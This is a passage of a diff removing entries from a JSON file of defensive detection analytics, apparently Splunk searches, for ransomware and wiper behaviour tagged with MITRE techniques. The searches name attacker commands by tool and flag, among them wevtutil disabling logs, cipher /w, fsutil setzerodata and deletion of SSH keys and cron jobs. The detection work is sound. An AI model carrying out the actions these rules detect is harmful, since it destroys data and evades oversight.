Activity", - "description": "This search will detect users creating spikes in API activity related to network access-control lists (ACLs)in your AWS environment. This search is deprecated and have been translated to use the latest Change Datamodel.", - "search": "`cloudtrail` `network_acl_events` [search `cloudtrail` `network_acl_events` | spath output=arn path=userIdentity.arn | stats count as apiCalls by arn | inputlookup network_acl_activity_baseline append=t | fields - latestCount | stats values(*) as * by arn | rename apiCalls as latestCount | eval newAvgApiCalls=avgApiCalls + (latestCount-avgApiCalls)/720 | eval newStdevApiCalls=sqrt(((pow(stdevApiCalls, 2)*719 + (latestCount-newAvgApiCalls)*(latestCount-avgApiCalls))/720)) | eval avgApiCalls=coalesce(newAvgApiCalls, avgApiCalls), stdevApiCalls=coalesce(newStdevApiCalls, stdevApiCalls), numDataPoints=if(isnull(latestCount), numDataPoints, numDataPoints+1) | table arn, latestCount, numDataPoints, avgApiCalls, stdevApiCalls | outputlookup network_acl_activity_baseline | eval dataPointThreshold = 15, deviationThreshold = 3 | eval isSpike=if((latestCount > avgApiCalls+deviationThreshold*stdevApiCalls) AND numDataPoints > dataPointThreshold, 1, 0) | where isSpike=1 | rename arn as userIdentity.arn | table userIdentity.arn] | spath output=user userIdentity.arn | stats values(eventName) as eventNames, count as numberOfApiCalls, dc(eventName) as uniqueApisCalled by user | `detect_spike_in_network_acl_activity_filter`", - "tags": { - "analytic_story": [ - "AWS Network ACL Activity" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.007", - "mitre_attack_technique": "Disable or Modify Cloud Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Allow File And Printing Sharing In Firewall", - "description": "The following analytic detects the modification of firewall settings to allow file and printer sharing. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving 'netsh' commands that enable file and printer sharing. This activity is significant because it can indicate an attempt by ransomware to discover and encrypt files on additional machines connected to the compromised host. If confirmed malicious, this could lead to widespread file encryption across the network, significantly increasing the impact of a ransomware attack.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_netsh` Processes.process= \"*firewall*\" Processes.process= \"*group=\\\"File and Printer Sharing\\\"*\" Processes.process=\"*enable=Yes*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `allow_file_and_printing_sharing_in_firewall_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious modification of firewall to allow file and printer sharing detected on host - $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.007", - "mitre_attack_technique": "Disable or Modify Cloud Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Allow Network Discovery In Firewall", - "description": "The following analytic detects a suspicious modification to the firewall to allow network discovery on a machine. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving the 'netsh' command to enable network discovery. This activity is significant because it is commonly used by ransomware, such as REvil and RedDot, to discover and compromise additional machines on the network. If confirmed malicious, this could lead to widespread file encryption across multiple hosts, significantly amplifying the impact of the ransomware attack.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_netsh` Processes.process= \"*firewall*\" Processes.process= \"*group=\\\"Network Discovery\\\"*\" Processes.process=\"*enable*\" Processes.process=\"*Yes*\" by Processes.dest Processes.user Processes.parent_process Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `allow_network_discovery_in_firewall_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "NjRAT", - "Ransomware", - "Revil Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious modification to the firewall to allow network discovery detected on host - $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.007", - "mitre_attack_technique": "Disable or Modify Cloud Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } } ], "external_reference": [ @@ -419954,180 +287781,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Detect RTLO In File Name", - "description": "The following analytic identifies the use of the right-to-left override (RTLO) character in file names. It leverages data from the Endpoint.Filesystem datamodel, specifically focusing on file creation events and file names containing the RTLO character (U+202E). This activity is significant because adversaries use RTLO to disguise malicious files as benign by reversing the text that follows the character. If confirmed malicious, this technique can deceive users and security tools, leading to the execution of harmful files and potential system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_create_time) as file_create_time from datamodel=Endpoint.Filesystem where Filesystem.file_name!=unknown by Filesystem.dest Filesystem.user Filesystem.process_id Filesystem.file_name Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | regex file_name = \"\\\\x{202E}\" | rex field=file_name \"(?.+)(?\\\\x{202E})(?.+)\" | eval file_name_with_RTLO=file_name | eval file_name=RTLO_file_1.RTLO_file_2 | fields - RTLO* | `detect_rtlo_in_file_name_filter`", - "tags": { - "analytic_story": [ - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious RTLO detected in $file_name$ on endpoint $dest$ by user $user$.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036.002", - "mitre_attack_technique": "Right-to-Left Override", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "BRONZE BUTLER", - "BlackTech", - "Ferocious Kitten", - "Ke3chang", - "Scarlet Mimic" - ] - }, - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect RTLO In Process", - "description": "The following analytic identifies the abuse of the right-to-left override (RTLO) character (U+202E) in process names. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line data. This activity is significant because adversaries use the RTLO character to disguise malicious files or commands, making them appear benign. If confirmed malicious, this technique can allow attackers to execute harmful code undetected, potentially leading to unauthorized access, data exfiltration, or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process!=unknown AND Processes.action=allowed by Processes.dest Processes.user Processes.original_file_name Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(Processes)` | regex process=\"\\\\x{202E}\" | rex field=process \"(?.+)(?\\\\x{202E})(?.+)\" | eval process_with_RTLO=process | eval process=RTLO_command_1.RTLO_command_2 | fields - RTLO* | `detect_rtlo_in_process_filter`", - "tags": { - "analytic_story": [ - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious RTLO detected in $process_name$ on endpoint $dest$ by user $user$.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036.002", - "mitre_attack_technique": "Right-to-Left Override", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "BRONZE BUTLER", - "BlackTech", - "Ferocious Kitten", - "Ke3chang", - "Scarlet Mimic" - ] - }, - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } } ], "external_reference": [ @@ -422466,1825 +290119,7 @@ "Event ID": "4688", "Event Name": "Process Execution" } - ], - { - "name": "Clear Unallocated Sector Using Cipher App", - "description": "The following analytic detects the execution of `cipher.exe` with the `/w` flag to clear unallocated sectors on a disk. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, command-line arguments, and parent processes. This activity is significant because it is a technique used by ransomware to prevent forensic recovery of deleted files. If confirmed malicious, this action could hinder incident response efforts by making it impossible to recover critical data, thereby complicating the investigation and remediation process.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"cipher.exe\" Processes.process = \"*/w:*\" by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.dest Processes.user Processes.process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `clear_unallocated_sector_using_cipher_app_filter`", - "tags": { - "analytic_story": [ - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to clear the unallocated sectors of a specific disk.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Create or delete windows shares using net exe", - "description": "The following analytic detects the creation or deletion of Windows shares using the net.exe command. It leverages Endpoint Detection and Response (EDR) data to identify processes involving net.exe with actions related to share management. This activity is significant because it may indicate an attacker attempting to manipulate network shares for malicious purposes, such as data exfiltration, malware distribution, or establishing persistence. If confirmed malicious, this activity could lead to unauthorized access to sensitive information, service disruption, or malware introduction. Immediate investigation is required to determine the intent and mitigate potential threats.", - "search": "| tstats `security_content_summariesonly` count values(Processes.user) as user values(Processes.parent_process) as parent_process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_net` by Processes.process Processes.process_name Processes.parent_process_name Processes.original_file_name Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | search process=*share* | `create_or_delete_windows_shares_using_net_exe_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-277A", - "DarkGate Malware", - "Hidden Cobra Malware", - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ enumerating Windows file shares.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1070.005", - "mitre_attack_technique": "Network Share Connection Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Threat Group-3390" - ] - } - ] - } - }, - { - "name": "Disable Logs Using WevtUtil", - "description": "The following analytic detects the execution of \"wevtutil.exe\" with parameters to disable event logs. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because disabling event logs is a common tactic used by ransomware to evade detection and hinder forensic investigations. If confirmed malicious, this action could allow attackers to operate undetected, making it difficult to trace their activities and respond effectively to the incident.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"wevtutil.exe\" Processes.process = \"*sl*\" Processes.process = \"*/e:false*\" by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.dest Processes.user Processes.process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_logs_using_wevtutil_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Ransomware", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "WevtUtil.exe used to disable Event Logging on $dest", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1070.001", - "mitre_attack_technique": "Clear Windows Event Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT38", - "APT41", - "Chimera", - "Dragonfly", - "FIN5", - "FIN8", - "Indrik Spider" - ] - } - ] - } - }, - { - "name": "Fsutil Zeroing File", - "description": "The following analytic detects the execution of the 'fsutil' command with the 'setzerodata' parameter, which zeros out a target file. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because it is a technique used by ransomware, such as LockBit, to evade detection by erasing its malware path after encrypting the host. If confirmed malicious, this action could hinder forensic investigations and allow attackers to cover their tracks, complicating incident response efforts.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) as process values(Processes.parent_process) as parent_process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=fsutil.exe Processes.process=\"*setzerodata*\" by Processes.user Processes.process_name Processes.parent_process_name Processes.dest Processes.process Processes.parent_process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `fsutil_zeroing_file_filter`", - "tags": { - "analytic_story": [ - "LockBit Ransomware", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible file data deletion on $dest$ using $process$", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux Account Manipulation Of SSH Config and Keys", - "description": "The following analytic detects the deletion of SSH keys on a Linux machine. It leverages filesystem event logs to identify when files within \"/etc/ssh/*\" or \"~/.ssh/*\" are deleted. This activity is significant because attackers may delete or modify SSH keys to evade security measures or as part of a destructive payload, similar to the AcidRain malware. If confirmed malicious, this behavior could lead to impaired security features, hindered forensic investigations, or further unauthorized access, necessitating immediate investigation to identify the responsible process and user.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted AND Filesystem.file_path IN (\"/etc/ssh/*\", \"~/.ssh/*\") by _time span=1h Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `linux_account_manipulation_of_ssh_config_and_keys_filter`", - "tags": { - "analytic_story": [ - "AcidRain" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "SSH Config and keys are deleted on $dest$ by Process GUID - $process_guid$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux Deletion Of Cron Jobs", - "description": "The following analytic detects the deletion of cron jobs on a Linux machine. It leverages filesystem event logs to identify when files within the \"/etc/cron.*\" directory are deleted. This activity is significant because attackers or malware may delete cron jobs to disable scheduled security tasks or evade detection mechanisms. If confirmed malicious, this action could allow an attacker to disrupt system operations, evade security measures, or facilitate further malicious activities such as data wiping, as seen with the acidrain malware.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted Filesystem.file_path=\"/etc/cron.*\" by _time span=1h Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `linux_deletion_of_cron_jobs_filter`", - "tags": { - "analytic_story": [ - "AcidRain", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Linux cron jobs are deleted on host $dest$ by process GUID- $process_guid$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux Deletion Of Init Daemon Script", - "description": "The following analytic detects the deletion of init daemon scripts on a Linux machine. It leverages filesystem event logs to identify when files within the /etc/init.d/ directory are deleted. This activity is significant because init daemon scripts control the start and stop of critical services, and their deletion can indicate an attempt to impair security features or evade defenses. If confirmed malicious, this behavior could allow an attacker to disrupt essential services, execute destructive payloads, or persist undetected in the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted Filesystem.file_path IN ( \"/etc/init.d/*\") by _time span=1h Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `linux_deletion_of_init_daemon_script_filter`", - "tags": { - "analytic_story": [ - "AcidRain", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Init daemon script deleted on host $dest$ by process GUID- $process_guid$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux Deletion Of Services", - "description": "The following analytic detects the deletion of services on a Linux machine. It leverages filesystem event logs to identify when service files within system directories (e.g., /etc/systemd/, /lib/systemd/, /run/systemd/) are deleted. This activity is significant because attackers may delete or modify services to disable security features or evade defenses. If confirmed malicious, this behavior could indicate an attempt to impair system functionality or execute a destructive payload, potentially leading to system instability or data loss. Immediate investigation is required to determine the responsible process and user.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted Filesystem.file_path IN ( \"/etc/systemd/*\", \"*/lib/systemd/*\", \"*/run/systemd/*\") Filesystem.file_path = \"*.service\" by _time span=1h Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `linux_deletion_of_services_filter`", - "tags": { - "analytic_story": [ - "AcidRain", - "AwfulShred", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "A services file $file_name$ deteted on host $dest$ by process GUID - $process_guid$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux Deletion of SSL Certificate", - "description": "The following analytic detects the deletion of SSL certificates on a Linux machine. It leverages filesystem event logs to identify when files with extensions .pem or .crt are deleted from the 